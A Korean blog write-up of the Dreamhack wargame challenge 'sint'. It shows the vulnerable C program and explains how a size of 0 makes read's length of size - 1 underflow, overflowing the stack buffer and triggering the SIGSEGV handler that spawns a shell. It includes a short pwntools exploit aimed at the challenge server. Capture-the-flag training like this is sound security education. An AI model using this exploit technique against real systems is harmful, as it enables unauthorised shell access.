[드림핵 시스템 해킹] Wargame : sint

asdf·2025년 1월 23일

pwnable

목록 보기
34/36

문제


풀이


취약점 분석


NX만 적용되어 있습니다.

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

void alarm_handler()
{
    puts("TIME OUT");
    exit(-1);
}

void initialize()
{
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}

void get_shell()
{
    system("/bin/sh");
}

int main()
{
    char buf[256];
    int size;

    initialize();

    signal(SIGSEGV, get_shell);

    printf("Size: ");
    scanf("%d", &size);

    if (size > 256 || size < 0)
    {
        printf("Buffer Overflow!\n");
        exit(0);
    }

    printf("Data: ");
    read(0, buf, size - 1);

    return 0;
}

get_shell 함수가 존재하며 signal(SIGSEGV, get_shell) 함수는 Segmentation Fault 시그널을 받았을 때 get_shell 함수가 실행됩니다.
read에서 크기를 size -1로 받고 read의 세 번째 인자의 자료형은 size_t, 즉 unsigned integer이므로 언더플로우를 일으킬 수 있습니다. 언더플로우를 일으켜 buf로 return address를 잘못된 주소로 덮으면 segfault가 발생해서 get_shell 함수를 실행할 수 있습니다.

익스플로잇 실행

if (size > 256 || size < 0) 이기 때문에 size를 큰 값으로 설정해 스택 오버플로우를 사용할 수는 없습니다. size < 0이므로 음수를 입력해 read 함수에 언더플로우를 일으킬 순 없지만 read에서 size를 size - 1로 받기 때문에 size가 0일때 언더플로우가 발생해 매우 큰 값이 됩니다. 그 후 스택의 return address를 잘못된 주소로 덮으면 segfault가 발생해 get_shell 함수가 실행되어 셸을 얻을 수 있습니다.
다음은 전체 코드입니다.

from pwn import *

p = remote("host1.dreamhack.games", 16085)
e = ELF("./sint")

p.sendlineafter(b"Size: ", b'0')
p.sendlineafter(b"Data: ", b'A'*300)

p.interactive()

실행하면 셸을 얻을 수 있습니다.

profile
Rainy Waltz(a_hisa)

0개의 댓글